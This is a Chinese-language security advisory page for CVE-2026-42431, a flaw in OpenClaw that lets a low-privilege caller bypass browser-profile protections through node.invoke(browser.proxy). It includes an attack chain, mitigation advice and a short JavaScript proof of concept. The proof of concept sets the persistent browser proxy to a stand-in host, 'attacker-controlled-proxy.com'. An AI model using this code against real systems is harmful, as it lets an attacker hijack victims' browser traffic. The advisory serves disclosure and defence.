IPBUF安全漏洞报告
English
CVE-2026-42431 CVSS 8.1 高危

CVE-2026-42431 OpenClaw安全绕过导致配置文件篡改漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-42431
漏洞类型
安全绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

OpenClaw安全绕过配置文件篡改CVE-2026-42431Browser Security

漏洞概述

OpenClaw在2026.4.8之前的版本中存在安全绕过漏洞。由于`node.invoke(browser.proxy)`路径缺乏防护,攻击者可绕过`browser.request`的持久化配置文件变更保护。利用该漏洞,攻击者能够篡改浏览器配置文件,导致系统完整性受损。

技术细节

该漏洞的核心原因在于OpenClaw对不同API入口的权限校验逻辑不一致。系统在`browser.request`入口处实施了严格的持久化配置文件变更保护机制,但在`node.invoke(browser.proxy)`调用路径中未能正确应用相同的安全检查。这种不一致性允许攻击者利用网络向量,在无需用户交互且只需低权限的情况下,向目标节点发送特制的调用请求。通过利用该路径,攻击者可以绕过原本存在的防护机制,直接修改浏览器配置文件中的关键设置(如代理配置等)。这种篡改行为不仅破坏了系统的完整性,还可能导致浏览器流量被劫持或安全策略失效。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是OpenClaw 2026.4.8之前的版本。
STEP 2
访问
攻击者获取目标系统的低权限访问接口(PR:L)。
STEP 3
利用
攻击者通过网络调用`node.invoke(browser.proxy)`接口。
STEP 4
绕过
系统在处理该调用时,绕过了`browser.request`的持久化配置文件保护机制。
STEP 5
篡改
攻击者成功修改持久化的浏览器配置文件,注入恶意代理设置或其他配置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-42431 // Target: OpenClaw < 2026.4.8 // Description: Bypass browser.request guard to mutate the persistent profile via node.invoke const targetNode = 'browser_proxy_node'; function exploitProfileMutation() { console.log('[*] Attempting to invoke node.invoke(browser.proxy)...'); // The vulnerable path bypasses the browser.request guard const maliciousConfig = { proxy: { http: "http://attacker-controlled-proxy.com:8080", https: "http://attacker-controlled-proxy.com:8080" }, bypass_list: [] }; // Simulating the vulnerable API call try { node.invoke('browser.proxy', 'setConfig', maliciousConfig, (response) => { if (response.success) { console.log('[+] Profile mutated successfully! Persistence guard bypassed.'); } else { console.log('[-] Exploit failed.'); } }); } catch (e) { console.error('Error invoking node:', e); } } exploitProfileMutation();

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
如果无法立即升级,建议通过网络ACL限制对OpenClaw管理接口的访问,并部署监控机制以检测浏览器配置文件的异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表